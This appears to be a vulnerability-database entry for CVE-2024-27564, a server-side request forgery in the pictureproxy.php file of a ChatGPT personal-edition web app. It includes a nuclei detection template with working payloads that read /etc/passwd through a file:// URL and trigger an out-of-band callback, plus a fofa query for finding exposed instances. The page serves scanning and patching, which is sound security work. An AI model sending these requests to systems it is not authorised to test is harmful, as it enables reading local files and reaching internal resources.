HexBrain

Browse / CVEs / CVE-2024-27564

CVE-2024-27564· chanzhaoyu / chatgpt web

ChatGPT个人专用版 - Server Side Request Forgery

highseverity
40.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.

Impact

Attackers can force the application to make arbitrary requests including reading local files and accessing internal resources via SSRF in the pictureproxy.php file.

Fix

Update ChatGPT个人专用版 to a version that addresses CVE-2024-27564.

How to confirm it

Send: GET {{BaseURL}}/pictureproxy.php?url=file:///etc/passwd ; GET {{BaseURL}}/pictureproxy.php?url=http://{{interactsh-url}}
Positive when: status_code == 200 and contains(header, "image/jpeg") and regex('root:.*:0:0:', body) OR contains(interactsh_protocol, "dns") and contains(header, "image/jpeg") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-27564 -u <target>

The full check
id: CVE-2024-27564

info:
  name: ChatGPT个人专用版 - Server Side Request Forgery
  author: DhiyaneshDK
  severity: high
  description: |
    A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.
  impact: |
    Attackers can force the application to make arbitrary requests including reading local files and accessing internal resources via SSRF in the pictureproxy.php file.
  remediation: |
    Update ChatGPT个人专用版 to a version that addresses CVE-2024-27564.
  reference:
    - https://github.com/dirk1983/chatgpt/issues/114
    - https://nvd.nist.gov/vuln/detail/CVE-2024-27564
  classification:
    epss-score: 0.40637
    epss-percentile: 0.98664
    cpe: cpe:2.3:a:chanzhaoyu:chatgpt_web:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: chanzhaoyu
    product: chatgpt_web
    fofa-query: "title=\"ChatGPT个人专用版\""
  tags: cve,cve2024,chatgpt,ssrf,oast,oos,lfi,vkev,vuln,ai

http:
  - method: GET
    path:
      - "{{BaseURL}}/pictureproxy.php?url=file:///etc/passwd"
      - "{{BaseURL}}/pictureproxy.php?url=http://{{interactsh-url}}"

    stop-at-first-match: true

    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(header, "image/jpeg")
          - regex('root:.*:0:0:', body)
        condition: and

      - type: dsl
        dsl:
          - contains(interactsh_protocol, "dns")
          - contains(header, "image/jpeg")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from